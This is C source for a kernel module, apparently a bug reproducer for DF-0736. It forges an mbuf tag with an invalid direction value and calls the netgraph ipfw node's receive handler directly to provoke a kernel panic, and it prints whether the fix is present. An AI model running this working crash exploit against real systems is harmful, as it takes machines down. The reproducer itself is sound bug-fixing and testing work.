DF-0736 / attack.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * DF-0736 trigger / direct-invocation attack. * * Demonstrates that the panic at sys/netgraph7/ng_ipfw.c:251 * panic("ng_ipfw_rcvdata: bad dir %u", ngit->dir); * is reachable when an in-kernel netgraph peer delivers an mbuf carrying * a forged m_tag (cookie=NGM_IPFW_COOKIE, type=0) with an invalid `dir`. * * Approach: locate the live "ipfw" netgraph node, package the forged mbuf * as a netgraph item, and invoke the node's rcvdata() callback directly * (the function is `static` in ng_ipfw.c but reachable via the type * struct's function pointer; the hook arg is unused inside ng_ipfw_rcvdata). * This mirrors what netgraph's item dispatcher does when an mbuf arrives * on a hook of the ipfw node, just without the static ng_add_hook plumbing. * * Privilege: root only (kldload). Not reachable from an unprivileged * user -- ng_socket control attach requires SYSCAP_RESTRICTEDROOT and * ng_socket's data-send path does not forge m_tags, so only an in-kernel * netgraph peer (or in-kernel driver of ng_ipfw_input_p, of which the * tree has ZERO callers) can create the malicious tag. * * Run sequence: * sh setup.sh # builds + loads netgraph + ng_socket + ng_ipfw * kldload ./df736attack.ko # panic at ng_ipfw.c:251 immediately */ #include <sys/param.h> #include <sys/systm.h> #include <sys/kernel.h> #include <sys/mbuf.h> #include <sys/malloc.h> #include <sys/errno.h> #include <sys/socket.h> #include <sys/syslog.h> #include <sys/types.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip_fw.h> /* struct ip_fw_args */ #include <netgraph7/ng_message.h> #include <netgraph7/ng_parse.h> #include <netgraph7/ng_ipfw.h> #include "netgraph.h" #define printf kprintf extern int ng_newtype(struct ng_type *tp); extern node_p ng_name2noderef(node_p here, const char *name); extern item_p ng_package_data(struct mbuf *m, int flags); static int df736_modevent(module_t mod, int type, void *data) { node_p ipfw_node = NULL; item_p item = NULL; struct mbuf *m = NULL; struct ng_ipfw_tag *ngit; struct ip *ip; int error; if (type == MOD_UNLOAD) return (0); if (type != MOD_LOAD) return (EOPNOTSUPP); /* Locate the live ipfw netgraph node (created by ng_ipfw.ko). */ ipfw_node = ng_name2noderef(NULL, "ipfw"); if (ipfw_node == NULL) { printf("df736: ipfw node not found -- load ng_ipfw.ko first\n"); return (ENXIO); } /* Build a minimal IPv4 packet (m_pullup(sizeof ip) must succeed). */ m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR); if (m == NULL) { printf("df736: m_getcl failed\n"); return (ENOMEM); } m->m_pkthdr.len = m->m_len = sizeof(struct ip); ip = mtod(m, struct ip *); bzero(ip, sizeof(*ip)); ip->ip_v = IPVERSION; ip->ip_hl = sizeof(struct ip) >> 2; ip->ip_len = htons(sizeof(struct ip)); /* Forge the malicious m_tag: NGM_IPFW_COOKIE / type 0 / dir=2. */ ngit = (struct ng_ipfw_tag *)m_tag_alloc(NGM_IPFW_COOKIE, 0, TAGSIZ, M_NOWAIT); if (ngit == NULL) { m_freem(m); printf("df736: m_tag_alloc failed\n"); return (ENOMEM); } ngit->rule = NULL; ngit->ifp = NULL; ngit->dir = 2; /* neither NG_IPFW_OUT(0) nor NG_IPFW_IN(1) */ m_tag_prepend(m, &ngit->mt); /* Package as a netgraph data item pointing at the ipfw node. */ item = ng_package_data(m, NG_WAITOK); if (item == NULL) { printf("df736: ng_package_data failed\n"); return (ENOMEM); } item->el_dest = ipfw_node; m = NULL; /* owned by item now */ printf("df736: invoking ng_ipfw_rcvdata on node %p with dir=2 " "-> expect panic at sys/netgraph7/ng_ipfw.c:251\n", ipfw_node); /* Directly call ng_ipfw_rcvdata(NULL, item) via the type's fn ptr. * On the unfixed kernel this triggers: * panic("ng_ipfw_rcvdata: bad dir %u", 2); * at sys/netgraph7/ng_ipfw.c:251. On the fixed kernel it returns * EINVAL after m_freem(m) + log(LOG_ERR,...). */ error = ipfw_node->nd_type->rcvdata(NULL, item); printf("df736: rcvdata returned %d -- if you see this, the fix is in place\n", error); return (0); } static moduledata_t df736_mod = { "df736attack", df736_modevent, NULL }; DECLARE_MODULE(df736attack, df736_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(df736attack, netgraph, 1, 0x7fffffff, 0x7fffffff); MODULE_VERSION(df736attack, 1); |